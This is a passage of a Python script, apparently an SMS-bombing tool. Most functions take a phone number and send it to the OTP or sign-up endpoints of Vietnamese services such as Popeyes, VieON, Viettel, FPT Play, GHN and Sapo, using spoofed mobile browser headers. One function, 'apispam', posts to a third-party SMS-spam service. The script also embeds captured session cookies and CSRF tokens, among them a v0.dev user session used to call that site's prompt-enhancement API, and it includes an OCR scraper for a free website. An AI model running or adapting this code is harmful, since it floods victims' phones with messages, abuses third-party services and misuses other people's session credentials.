		"accept-encoding":"gzip, deflate, br",
	}
	rq = requests.post("https://api.alfrescos.com.vn/api/v1/User/SendSms?culture=vi-VN",data=data,headers=head)
def poyeye(sdt):
	data= '{"phone":"sdt","firstName":"Nguyen","lastName":"Hoang","email":"Khgf123@gmail.com","password":"1262007gdtg"}'
	data = data.replace("sdt",sdt)
	head = {
		"Host":"api.popeyes.vn",
		"accept":"application/json",
		"x-client":"WebApp",
		"user-agent":"Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36",
		"content-type":"application/json",
		"x-requested-with":"mark.via.gp",
		"sec-fetch-site":"same-site",
		"sec-fetch-mode":"cors",
		"sec-fetch-dest":"empty",
		"referer":"https://popeyes.vn/",
		"accept-encoding":"gzip, deflate, br",
	}
	rq = requests.post("https://api.popeyes.vn/api/v1/register",data=data, headers=head)
def vieon(sdt):
	data = f'phone_number={sdt}&password=1262007Gdtg&given_name=&device_id=688e6ab3da160a362df3805047548504&platform=mobile_web&model=Android%208.1.0&push_token=&device_name=Chrome%2F114&device_type=desktop&isMorePlatform=true&ui=012021'
	head = {
		"Host":"api.vieon.vn",
		"accept":"application/json, text/plain, */*",
		"user-agent":"Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36",
		"content-type":"application/x-www-form-urlencoded",
		"x-requested-with":"mark.via.gp",
		"sec-fetch-site":"same-site",
		"sec-fetch-mode":"cors",
		"sec-fetch-dest":"empty",
		"referer":"https://vieon.vn/",
		"accept-encoding":"gzip, deflate, br",
	}
	rq = requests.post("https://api.vieon.vn/backend/user/register/mobile?platform=mobile_web&ui=012021",data=data,headers=head)
def tv360(sdt):
	head = {
		"Host":"m.tv360.vn",
		"accept":"application/json, text/plain, */*",
		"user-agent":"Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36",
		"content-type":"application/json",
	}
	data = '{"msisdn":"sdt"}'
	data = data.replace("sdt",sdt)
	rq = requests.post("https://m.tv360.vn/public/v1/auth/get-otp-login",data=data,headers=head)
	'''if not rq["errorCode"] == 200:
    print("Lỗi 360tv")'''
def winmart(sdt):
	head = {
		"Host":"api-crownx.winmart.vn",
		"accept":"application/json",
		"authorization":"Bearer undefined",
		"user-agent":"Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36",
		"x-requested-with":"mark.via.gp",
		"sec-fetch-site":"same-site",
		"sec-fetch-mode":"cors",
		"sec-fetch-dest":"empty",
		"referer":"https://winmart.vn/",
		"accept-encoding":"gzip, deflate, br",
		"accept-language":"vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7",
	}
	rq = requests.get(f"https://api-crownx.winmart.vn/as/api/web/v1/send-otp?phoneNo={sdt}",headers=head)
def fptplay(phone):
	Headers = {"Host": "api.fptplay.net","content-length": "89","sec-ch-ua": "\"Chromium\";v\u003d\"112\", \"Google Chrome\";v\u003d\"112\", \"Not:A-Brand\";v\u003d\"99\"","accept": "application/json, text/plain, */*","content-type": "application/json; charset\u003dUTF-8","sec-ch-ua-mobile": "?1","user-agent": "Mozilla/5.0 (Linux; Android 10; RMX1919) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36","sec-ch-ua-platform": "\"Android\"","origin": "https://fptplay.vn","sec-fetch-site": "cross-site","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://fptplay.vn/","accept-encoding": "gzip, deflate, br","accept-language": "vi-VN,vi;q\u003d0.9,fr-FR;q\u003d0.8,fr;q\u003d0.7,en-US;q\u003d0.6,en;q\u003d0.5,ru;q\u003d0.4"}
	Datason = json.dumps({"phone": phone,"country_code":"VN","client_id":"vKyPNd1iWHodQVknxcvZoWz74295wnk8"})
	response = requests.post("https://api.fptplay.net/api/v7.1_w/user/otp/register_otp?st\u003dEim9hpobCZPoIoVVokkIDA\u0026e\u003d1681802671\u0026device\u003dChrome(version%253A112.0.0.0)\u0026drm\u003d1", data=Datason, headers=Headers)
def funring(sdt):
	data ='{"username": "sdt"}'.replace("sdt",sdt)
	head = {
		"Host":"funring.vn",
		"Connection":"keep-alive",
		"Accept":"*/*",
		"User-Agent":"Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36",
		"Content-Type":"application/json",
		"X-Requested-With":"mark.via.gp",
		"Accept-Encoding":"gzip, deflate",
		"Accept-Language":"vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7"
	}
	rq = requests.post("http://funring.vn/api/v1.0.1/jersey/user/getotp",data=data,headers=head)
def apispam(phone):
	cookies = {
		'_ga': 'GA1.1.1928856259.1691039310',
		'serverChoice': 'Server-IPv1',
		'_ga_Y4RF4MF664': 'GS1.1.1691039309.1.1.1691039359.0.0.0',
	}
	headers = {
		'authority': 'crowstore.online',
		'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
		'accept-language': 'en-US,en;q=0.9,vi;q=0.8',
		'cache-control': 'max-age=0',
		'content-type': 'application/x-www-form-urlencoded',
		# 'cookie': '_ga=GA1.1.1928856259.1691039310; serverChoice=Server-IPv1; _ga_Y4RF4MF664=GS1.1.1691039309.1.1.1691039359.0.0.0',
		'origin': 'https://crowstore.online',
		'referer': 'https://crowstore.online/sms.php',
		'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'document',
		'sec-fetch-mode': 'navigate',
		'sec-fetch-site': 'same-origin',
		'sec-fetch-user': '?1',
		'upgrade-insecure-requests': '1',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36',
	}
	data = {
		'sodienthoai': phone,
		'ten_server': 'Server-IPv1',
		'key': 'freekey307',
	}
	response = requests.post('https://crowstore.online/sms.php', cookies=cookies, headers=headers, data=data).text
def vietid(phone):
	csrfget = requests.post("https://oauth.vietid.net/rb/login?next\u003dhttps%3A%2F%2Foauth.vietid.net%2Frb%2Fauthorize%3Fclient_id%3D83958575a2421647%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Fenbac.com%252Fmember_login.php%26state%3De5a1e5821b9ce96ddaf6591b7a706072%26state_uri%3Dhttps%253A%252F%252Fenbac.com%252F").text
	csrf = csrfget.split('name="csrf-token" value="')[1].split('"/>')[0]
	Headers = {"Host": "oauth.vietid.net","content-length": "41","cache-control": "max-age\u003d0","sec-ch-ua": "\"Chromium\";v\u003d\"110\", \"Not A(Brand\";v\u003d\"24\", \"Google Chrome\";v\u003d\"110\"","sec-ch-ua-mobile": "?1","sec-ch-ua-platform": "\"Android\"","upgrade-insecure-requests": "1","origin": "https://oauth.vietid.net","content-type": "application/x-www-form-urlencoded","user-agent": "Mozilla/5.0 (Linux; Linux x86_64; en-US) AppleWebKit/535.30 (KHTML, like Gecko) Chrome/51.0.2716.105 Safari/534","accept": "text/html,application/xhtml+xml,application/xml;q\u003d0.9,image/avif,image/webp,image/apng,*/*;q\u003d0.8,application/signed-exchange;v\u003db3;q\u003d0.7","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://oauth.vietid.net/rb/login?next\u003dhttps%3A%2F%2Foauth.vietid.net%2Frb%2Fauthorize%3Fclient_id%3D83958575a2421647%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Fenbac.com%252Fmember_login.php%26state%3De5a1e5821b9ce96ddaf6591b7a706072%26state_uri%3Dhttps%253A%252F%252Fenbac.com%252F","accept-encoding": "gzip, deflate, br","accept-language": "vi-VN,vi;q\u003d0.9,fr-FR;q\u003d0.8,fr;q\u003d0.7,en-US;q\u003d0.6,en;q\u003d0.5,ru;q\u003d0.4","cookie": "_ga_H5VRTZBFLG\u003dGS1.1.1679234987.1.0.1679234987.0.0.0"}
	Payload = {"csrf-token": csrf,"account": phone}
	response = requests.post("https://oauth.vietid.net/rb/login?next\u003dhttps%3A%2F%2Foauth.vietid.net%2Frb%2Fauthorize%3Fclient_id%3D83958575a2421647%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Fenbac.com%252Fmember_login.php%26state%3De5a1e5821b9ce96ddaf6591b7a706072%26state_uri%3Dhttps%253A%252F%252Fenbac.com%252F", data=Payload, headers=Headers).text
def dkvt(phone):
	cookies = {
		'laravel_session': '7FpvkrZLiG7g6Ine7Pyrn2Dx7QPFFWGtDoTvToW2',
		'__zi': '2000.SSZzejyD3jSkdl-krbSCt62Sgx2OMHIUF8wXheeR1eWiWV-cZ5P8Z269zA24MWsD9eMyf8PK28WaWB-X.1',
		'redirectLogin': 'https://viettel.vn/dang-ky',
		'XSRF-TOKEN': 'eyJpdiI6InlxYUZyMGltTnpoUDJSTWVZZjVDeVE9PSIsInZhbHVlIjoiTkRIS2pZSXkxYkpaczZQZjNjN29xRU5QYkhTZk1naHpCVEFwT3ZYTDMxTU5Panl4MUc4bGEzeTM2SVpJOTNUZyIsIm1hYyI6IjJmNzhhODdkMzJmN2ZlNDAxOThmOTZmNDFhYzc4YTBlYmRlZTExNWYwNmNjMDE5ZDZkNmMyOWIwMWY5OTg1MzIifQ%3D%3D',
	}

	headers = {
		'Accept': 'application/json, text/plain, */*',
		'Accept-Language': 'vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5',
		'Connection': 'keep-alive',
		'Content-Type': 'application/json;charset=UTF-8',
		# 'Cookie': 'laravel_session=7FpvkrZLiG7g6Ine7Pyrn2Dx7QPFFWGtDoTvToW2; __zi=2000.SSZzejyD3jSkdl-krbSCt62Sgx2OMHIUF8wXheeR1eWiWV-cZ5P8Z269zA24MWsD9eMyf8PK28WaWB-X.1; redirectLogin=https://viettel.vn/dang-ky; XSRF-TOKEN=eyJpdiI6InlxYUZyMGltTnpoUDJSTWVZZjVDeVE9PSIsInZhbHVlIjoiTkRIS2pZSXkxYkpaczZQZjNjN29xRU5QYkhTZk1naHpCVEFwT3ZYTDMxTU5Panl4MUc4bGEzeTM2SVpJOTNUZyIsIm1hYyI6IjJmNzhhODdkMzJmN2ZlNDAxOThmOTZmNDFhYzc4YTBlYmRlZTExNWYwNmNjMDE5ZDZkNmMyOWIwMWY5OTg1MzIifQ%3D%3D',
		'Origin': 'https://viettel.vn',
		'Referer': 'https://viettel.vn/dang-ky',
		'Sec-Fetch-Dest': 'empty',
		'Sec-Fetch-Mode': 'cors',
		'Sec-Fetch-Site': 'same-origin',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',
		'X-CSRF-TOKEN': 'HXW7C6QsV9YPSdPdRDLYsf8WGvprHEwHxMBStnBK',
		'X-Requested-With': 'XMLHttpRequest',
		'X-XSRF-TOKEN': 'eyJpdiI6InlxYUZyMGltTnpoUDJSTWVZZjVDeVE9PSIsInZhbHVlIjoiTkRIS2pZSXkxYkpaczZQZjNjN29xRU5QYkhTZk1naHpCVEFwT3ZYTDMxTU5Panl4MUc4bGEzeTM2SVpJOTNUZyIsIm1hYyI6IjJmNzhhODdkMzJmN2ZlNDAxOThmOTZmNDFhYzc4YTBlYmRlZTExNWYwNmNjMDE5ZDZkNmMyOWIwMWY5OTg1MzIifQ==',
		'sec-ch-ua': '"Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
	}

	json_data = {
		'msisdn': phone,
	}

	response = requests.post('https://viettel.vn/api/get-otp', cookies=cookies, headers=headers, json=json_data).text
def viettel(phone):
	cookies = {
		'laravel_session': 'XDw3rSn7ipZocrQTQOYxheTOvGVO2BPLJJC9Iqpv',
		'_gcl_au': '1.1.307401310.1685096321',
		'_gid': 'GA1.2.1786782073.1685096321',
		'_fbp': 'fb.1.1685096322884.1341401421',
		'__zi': '2000.SSZzejyD3jSkdl-krWqVtYU9zQ-T61wH9TthuPC0NCqtr_NpqH9AtJY9_VMSN4xGC8Bx_P0PJzSyol__dXnArJCoDG.1',
		'redirectLogin': 'https://vietteltelecom.vn/dang-ky',
		'_ga_VH8261689Q': 'GS1.1.1685096321.1.1.1685096380.1.0.0',
		'_ga': 'GA1.2.1385846845.1685096321',
		'_gat_UA-58224545-1': '1',
		'XSRF-TOKEN': 'eyJpdiI6Im4zUUJSaGRYRlJtaFNcL210cjdvQmJ3PT0iLCJ2YWx1ZSI6IkZKdHppMVJIU2xGU2l3RmFUeEpqM1Y5ZHFra0tnQjFCMVREMlwvUXpneENEd1VyMjI0aHQ4eWlVXC83a2VycmlCdCIsIm1hYyI6IjNmYTg4YThhOGNkZmQzZTQ4MGQ1MDBjMWVmMWNmYTAxNzYxNWMxM2NjZDY1MmZmYjFlYzViOTUyOTUxMmRiNWYifQ%3D%3D',
	}

	headers = {
		'Accept': 'application/json, text/plain, */*',
		'Accept-Language': 'vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5',
		'Connection': 'keep-alive',
		'Content-Type': 'application/json;charset=UTF-8',
		# 'Cookie': 'laravel_session=XDw3rSn7ipZocrQTQOYxheTOvGVO2BPLJJC9Iqpv; _gcl_au=1.1.307401310.1685096321; _gid=GA1.2.1786782073.1685096321; _fbp=fb.1.1685096322884.1341401421; __zi=2000.SSZzejyD3jSkdl-krWqVtYU9zQ-T61wH9TthuPC0NCqtr_NpqH9AtJY9_VMSN4xGC8Bx_P0PJzSyol__dXnArJCoDG.1; redirectLogin=https://vietteltelecom.vn/dang-ky; _ga_VH8261689Q=GS1.1.1685096321.1.1.1685096380.1.0.0; _ga=GA1.2.1385846845.1685096321; _gat_UA-58224545-1=1; XSRF-TOKEN=eyJpdiI6Im4zUUJSaGRYRlJtaFNcL210cjdvQmJ3PT0iLCJ2YWx1ZSI6IkZKdHppMVJIU2xGU2l3RmFUeEpqM1Y5ZHFra0tnQjFCMVREMlwvUXpneENEd1VyMjI0aHQ4eWlVXC83a2VycmlCdCIsIm1hYyI6IjNmYTg4YThhOGNkZmQzZTQ4MGQ1MDBjMWVmMWNmYTAxNzYxNWMxM2NjZDY1MmZmYjFlYzViOTUyOTUxMmRiNWYifQ%3D%3D',
		'Origin': 'https://vietteltelecom.vn',
		'Referer': 'https://vietteltelecom.vn/dang-nhap',
		'Sec-Fetch-Dest': 'empty',
		'Sec-Fetch-Mode': 'cors',
		'Sec-Fetch-Site': 'same-origin',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',
		'X-CSRF-TOKEN': 'dS0MwhelCkb96HCH9kVlEd3CxX8yyiQim71Acpr6',
		'X-Requested-With': 'XMLHttpRequest',
		'X-XSRF-TOKEN': 'eyJpdiI6Im4zUUJSaGRYRlJtaFNcL210cjdvQmJ3PT0iLCJ2YWx1ZSI6IkZKdHppMVJIU2xGU2l3RmFUeEpqM1Y5ZHFra0tnQjFCMVREMlwvUXpneENEd1VyMjI0aHQ4eWlVXC83a2VycmlCdCIsIm1hYyI6IjNmYTg4YThhOGNkZmQzZTQ4MGQ1MDBjMWVmMWNmYTAxNzYxNWMxM2NjZDY1MmZmYjFlYzViOTUyOTUxMmRiNWYifQ==',
		'sec-ch-ua': '"Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
	}

	json_data = {
		'phone': phone,
		'type': '',
	}

	response = requests.post('https://vietteltelecom.vn/api/get-otp-login', cookies=cookies, headers=headers, json=json_data).text
def appota(sdt):
	headers = {
		'Host': 'vi.appota.com',
		# 'content-length': '23',
		'accept': 'application/json, text/javascript, */*; q=0.01',
		'x-requested-with': 'XMLHttpRequest',
		'user-agent': 'Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36',
		'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
		'origin': 'https://vi.appota.com',
		'sec-fetch-site': 'same-origin',
		'sec-fetch-mode': 'cors',
		'sec-fetch-dest': 'empty',
		'referer': 'https://vi.appota.com/',
		# 'accept-encoding': 'gzip, deflate, br',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		# 'cookie': '_gid=GA1.2.794950800.1691145824; _ga_SQM4TCSQGX=GS1.1.1691145825.1.1.1691145870.0.0.0; pay_session=eyJpdiI6IkRieTVpNm1rTVVjWElNNnNoRENVVVE9PSIsInZhbHVlIjoiVTdCSTdYQ0gyM2Z2UFlkbStCaWtldjNGdlpsSm5lRk9kNVpMbkQxTysydGNPSGhXSk9CT0xmNVhReUp4TXVkaTQ2XC9PYTZrRUZUSE1kXC9Jbm1WbTNuUT09IiwibWFjIjoiNjAxYTBhMjlhYWE0N2RiMTA3ZTg5MGZjOWNjZmVlOWM1MzNkMjhlZGI0NjNmMGYxYmVhNGI5MWM3MmZiZGU1MSJ9; _ga=GA1.2.626969575.1691145824; _gat=1; _fbp=fb.1.1691145877829.1126099989; _ga_8W5EGNGFDP=GS1.2.1691145878.1.0.1691145878.0.0.0',
	}
	data = {
		'phone_number': f'{sdt}',
	}
	response = requests.post('https://vi.appota.com/check-phone-register.html',data=data,headers=headers).text
def ghn(sdt):
	headers = {
		'Host': 'online-gateway.ghn.vn',
		# 'content-length': '40',
		'accept': 'application/json, text/plain, */*',
		'user-agent': 'Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36',
		'content-type': 'application/json',
		'origin': 'https://sso.ghn.vn',
		'x-requested-with': 'mark.via.gp',
		'sec-fetch-site': 'same-site',
		'sec-fetch-mode': 'cors',
		'sec-fetch-dest': 'empty',
		'referer': 'https://sso.ghn.vn/',
		# 'accept-encoding': 'gzip, deflate, br',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',

	}
	data = '{"phone":"sdt","type":"register"}'.replace("sdt",sdt)
	response = requests.post('https://online-gateway.ghn.vn/sso/public-api/v2/client/sendotp', headers=headers, data=data)
def best_inc(sdt):
	headers = {
		'Host': 'v9-cc.800best.com',
		'Connection': 'keep-alive',
		# 'Content-Length': '53',
		'x-timezone-offset': '7',
		'x-auth-type': 'web-app',
		'x-nat': 'vi-VN',
		'x-lan': 'VI',
		'authorization': 'null',
		'User-Agent': 'Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36',
		'content-type': 'application/json',
		'accept': 'application/json',
		'lang-type': 'vi-VN',
		'Origin': 'https://best-inc.vn',
		'X-Requested-With': 'mark.via.gp',
		'Sec-Fetch-Site': 'cross-site',
		'Sec-Fetch-Mode': 'cors',
		'Sec-Fetch-Dest': 'empty',
		'Referer': 'https://best-inc.vn/',
		'Accept-Encoding': 'gzip, deflate, br',
		'Accept-Language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
	}
	data = '{"phoneNumber":"sdt","verificationCodeType":1}'.replace("sdt",sdt)
	response = requests.post('https://v9-cc.800best.com/uc/account/sendsignupcode',data=data,headers=headers).text
def sapo(sdt):
	headers = {
		'Host': 'www.sapo.vn',
		# 'content-length': '22',
		'user-agent': 'Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36',
		'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
		'accept': '*/*',
		'origin': 'https://www.sapo.vn',
		'x-requested-with': 'mark.via.gp',
		'sec-fetch-site': 'same-origin',
		'sec-fetch-mode': 'cors',
		'sec-fetch-dest': 'empty',
		'referer': 'https://www.sapo.vn/blog/mat-hang-kinh-doanh-hot-nhat-hien-nay',
		# 'accept-encoding': 'gzip, deflate, br',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		# 'cookie': '_gcl_au=1.1.1060296146.1691285262; _gid=GA1.2.497444655.1691285263; _ga_YNVPPJ8MZP=GS1.1.1691285263.1.0.1691285263.60.0.0; _ga=GA1.1.1816034013.1691285263; _ga_8956TVT2M3=GS1.1.1691285264.1.0.1691285264.60.0.0; _ga_CDD1S5P7D4=GS1.1.1691285264.1.0.1691285264.60.0.0; _ga_GECRBQV6JK=GS1.1.1691285264.1.0.1691285264.60.0.0; _ga_Y9YZPDEGP0=GS1.1.1691285265.1.0.1691285265.60.0.0; start_time=08/06/2023 8:27:45; source=https://www.sapo.vn/blog/mat-hang-kinh-doanh-hot-nhat-hien-nay; _ga_X10JR147Y7=GS1.1.1691285264.1.0.1691285265.59.0.0; _fbp=fb.1.1691285267174.309606627; _ga_EBZKH8C7MK=GS1.2.1691285267.1.0.1691285267.0.0.0; referral=https://www.google.com/; landing_page=https://www.sapo.vn/blog/mat-hang-kinh-doanh-hot-nhat-hien-nay; pageview=1; _ga_8Z6MB85ZM2=GS1.1.1691285265.1.1.1691285333.60.0.0',
		}
	data = {
		'phonenumber': sdt,
	}
	response = requests.post('https://www.sapo.vn/fnb/sendotp', headers=headers, data=data)


def getStringLength(text):
	Tahn_Dz = ""
	for char in text:
		if ord(char) > 127:
			Tahn_Dz += '\\u{:04x}'.format(ord(char))
		else:
			Tahn_Dz += char
	return len(Tahn_Dz.encode('utf-8').decode('unicode_escape'))

def scan_qr_code_from_url(url):
	response = requests.get(url)
	if response.status_code == 200:
		img = Image.open(BytesIO(response.content))
		decoded_objects = decode(img)
		for obj in decoded_objects:
			return obj.data.decode('utf-8')
	else:
		return "Không thể tải hình ảnh từ URL."

def enhancementPrompt(prompt):
	headers = {
		"sec-ch-ua-platform": "\"Android\"",
		"user-agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36",
		"sec-ch-ua": "\"Not)A;Brand\";v\u003d\"8\", \"Chromium\";v\u003d\"138\", \"Google Chrome\";v\u003d\"138\"",
		"content-type": "application/json",
		"sec-ch-ua-mobile": "?1",
		"accept": "*/*",
		"origin": "https://v0.dev",
		"sec-fetch-site": "same-origin",
		"sec-fetch-mode": "cors",
		"sec-fetch-dest": "empty",
		"referer": "https://v0.dev/",
		"accept-encoding": "gzip, deflate, br, zstd",
		"accept-language": "en-US,en;q\u003d0.9,vi;q\u003d0.8,pt;q\u003d0.7",
		"cookie": "ko_id=6951f2b2-3d3a-4cb5-a630-7787a2854900;v0-has-signed-in=1;__stripe_mid=c4f924fd-5163-4390-8c11-90912d598170ec446e;user_session=eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..xH_9ipEFYjyW-E4H.YzvuvdNJ5PP427Sj9fobnALrTB3iUxhWkoYZsrrzT2KJ38JB43FsQ7Y1i3s0m53ObFVqnGvQbLjJpQBhY2dI6gBv510qJDcwL3sD7GQlRAa1tLNBMh3R8KXOa4lwNC4Mwj9GY9kEQwf7vawxX900rahgtQFL7MbRAu4SQ6aHNLV3wtt2K7qtUO7lcDdDT9LLuf0DOPIWOWPYzh8wtwlmqjxTdlZy--Cckm9dULKXJRobfAxeGB-5HCScGjDijyFEkS71UtG010Q3fgwBjBSy3yrjVKFMB9BdU2Id9-8eytpQjrMixAtq5NERz4rucOqzHd9QNNOz4oMOqa5J4931r3ojw2zA0ksJdmKT4bKhnh3ifO12x7cEhRGfOfO-vO-Rl_NynQia9hmeQyF1Bet8HvqVYZHAdoxLARNCEPdlcCUJl_GEovp3_rhtoKWv3NmvI8TlqFI-Vh0SH6ZQcKKRA_Vz_SgHmrBtUYkrTCosY_xzn8bqo_gnHW6o4wzV_wHK5pMCE5QoEOXe_H4KPNcSZcIetse8tY1U_R0QQ0NN9M4DczjXJ2WPpp88Dwf0RH5DCiWIvWP710gzIgfR-3lPHwuMzfIee-XKsFMlMlzwFL-RtfM1q89BRbf3pfuoEzInP5dw5ItzT8K9XV6AcztXg6qw9zf_JLKLwywZ6WQykUC2mbaBPKDWSOC8nZFgoRz9CD-cZ9FXINKN6cdMEiTaHF3bAR2-3jTpKIp4QgFd_8WIgIL74kvrb875wfIdq8YO4RAGmYNmSJI8_ho3QYap7JdwM6zH7-QAdjMWbY7jLe9MJSAD9HlRhhWe.tMnGcpsFEKt3As9oMRM1VA;v0-durable-scoped-state=N4Igzg1gpgNlAuB7AdiAXKMBLAJlARgIYBOASlAMZTLwDCAFofGAMrRxKpoCcANOLgIkACsUQArSszawEKdAAZ+2PEWIAxQgDdExLPCgMmrdnK5KBqkuSo0jzWohgxCABzBQc6AGaEYH5UE1UQkpMEdnNw8vNF9/KECrDW1dfUNGBycXd08fPwCQVzFJCmlTTnQAJgAWfhcweABVVxwmXLRKgFYFAHZKvq6ARgBfYaA=;anon_session_id=M3MEmP1vTOt8YYMtqU1G5pLpkiEl1LFJ;session_referer=;v0-durable-root-state=N4IgTg9hAuIFygM4EsAmBTARgQzAYQgBtDsAHRdVeAM20IoBoQTFoBVU1baS+AJgCsABgDsfMYICMTALYQMhAgDtqyAOYBXMN2QQl8UHIUBJKnBAA3IQFpJAOgHWZVJshnY16AOLol6bdC6Sog0dIwg0AAWyEoA1jFqofToAL5M0FCKeqqaAUEGIADuWADK6LgAxpHw0GAa6EyefgHoxu6eIXC0yWkgMuiIiB7oALLy6PAgmBrIhC4giJEQGnMlS4UcatoYNXWpKUA==;_hp2_id.380479483=%7B%22userId%22%3A%22699412647347289%22%2C%22pageviewId%22%3A%228770551284043365%22%2C%22sessionId%22%3A%223481975172702994%22%2C%22identity%22%3A%22user%3Alamdoco%22%2C%22trackerVersion%22%3A%224.0%22%2C%22identityField%22%3Anull%2C%22isIdentified%22%3A1%7D;_hp2_ses_props.380479483=%7B%22ts%22%3A1753631465825%2C%22d%22%3A%22v0.dev%22%2C%22h%22%3A%22%2F%22%7D;__stripe_sid=9262e489-b694-40fd-9592-62b49ab049e7699046;ko_sid={%22id%22:%221753631466678%22%2C%22lastTouched%22:1753631494697}",
		"priority": "u\u003d1, i"
	}
	payload = {
		"prompt": prompt, 
		"prev": []
	}
	response = requests.post("https://v0.dev/chat/api/prompt-enhancement", headers=headers, json=payload)
	return response.json()["prompt"]


import os, re
import time, base64
import requests, json

from io import BytesIO
from typing import Union

class OCRSolverError(Exception):
	def __init__(self, err_message):
		super().__init__(f"{err_message}")

class OCRSolver:
	def __init__(self, *, image_path=None, image_base64=None):
		self.token = None
		self.img_b64 = image_base64
		self.img_path = image_path
		self.session = requests.Session()
		self.headers = {
			"Accept": "*/*",
			"origin": "https://imgtotext.net",
			"referer": "https://imgtotext.net",
			"accept-language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5",
			"User-Agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36"
		}

		self.setup()


	def setup(self) -> None:
		site = self.session.get('https://imgtotext.net/')
		comp = re.compile(r'"_token" value=\s*"([^"]+)"')
		token_found = comp.findall(site.text)
		if not token_found:
			raise OCRSolverError("API token not found.")

		self.token = token_found[0]
		self.session.cookies = site.cookies


	def upload_image(self) -> str:
		time_upload = f"{int(time.time() * 1000)}"

		payload = {
			"_token": self.token,
			"fiLes": "",
			"url_upload": "",
			"url_upload": "",
			"time": time_upload,
			"from": "png, jpg, jpeg, gif, jfif, pdf, webp, bmp, heif, heic, JPEG",
			"upload": "upload"
		}

		if self.img_path:
			files = [("file", ("image.png", open(self.img_path, "rb")))]

		elif self.img_b64:
			image_base = BytesIO(base64.b64decode(self.img_b64))
			files = [("file", ("image.png", image_base))]

		upload = self.session.post("https://imgtotext.net/upload", data=payload, files=files)

		if upload.status_code != 200 or upload.text != "true":
			raise OCRSolverError("Image upload failed.")

		return time_upload


	def convert_image(self) -> None:
		payload = {
			"_token": self.token,
			"url_upload": "",
			"url_upload": "",
			"fileNames[]": "image.png",
			"convert": ""
		}

		if self.img_path:
			files = [("fiLes", ("image.png", open(self.img_path, "rb")))]

		elif self.img_b64:
			image_base = BytesIO(base64.b64decode(self.img_b64))
			files = [("fiLes", ("image.png", image_base))]

		convert = self.session.post("https://imgtotext.net/", data=payload, files=files)

		if convert.status_code != 200:
			raise OCRSolverError("Image convert failed.")


	def extract(self) -> Union[str, None]:
		if not self.img_path and not self.img_b64:
			raise OCRSolverError("Image data is missing...")

		uploaded_time = self.upload_image()
		self.convert_image()

		fileName = f"imgtotext.net-{uploaded_time}-image.png"
		payload = {
			"_token": self.token,
			"fileName": fileName,
			"zipFileName": fileName,
